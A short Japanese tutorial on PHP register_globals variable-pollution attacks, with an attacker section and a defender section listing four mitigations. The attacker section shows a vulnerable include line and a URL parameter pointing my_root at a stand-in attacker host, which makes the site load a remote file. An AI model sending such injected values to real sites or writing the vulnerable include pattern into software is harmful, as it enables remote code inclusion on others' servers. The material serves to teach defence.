変数汚染攻撃@PHP技術
変数汚染攻撃です。
これは、register_globalが有効になっていた場合に、内部変数の値を書き換えることが得きる問題です。
セッションの値を変えたり、設定ファイルを変数から取得していた場合、設定ファイルの読み込み先を変えたりできるため、危険な脆弱性です。
- 変数汚染攻撃 攻撃側
変数汚染攻撃をしてみましょう。
PHPに以下のコードを含ませます。
include_once $my_root."config.php"
この状態から、
http://〜〜/?my_root=http://attacker_host
を実行すると、my_root変数に"http://attacker_host"が格納され、別のサイトからファイルを読み込んでしまいます。
- 変数汚染攻撃 防御側
方法は4つあります
- register_global OFF
- register_global に依存しない
この二つはもっともです。そもそもregister_globalの有効や依存が無ければ使うことはありません。
- ブラックリストを作る
変数受け渡しをしてはいけないブラックリストを作ります。この方法では想定外の変数汚染の可能性はぬぐいきれません。
- ホワイトリストを作る
ブラックリストからは逆に許可する変数をリストアップすることです。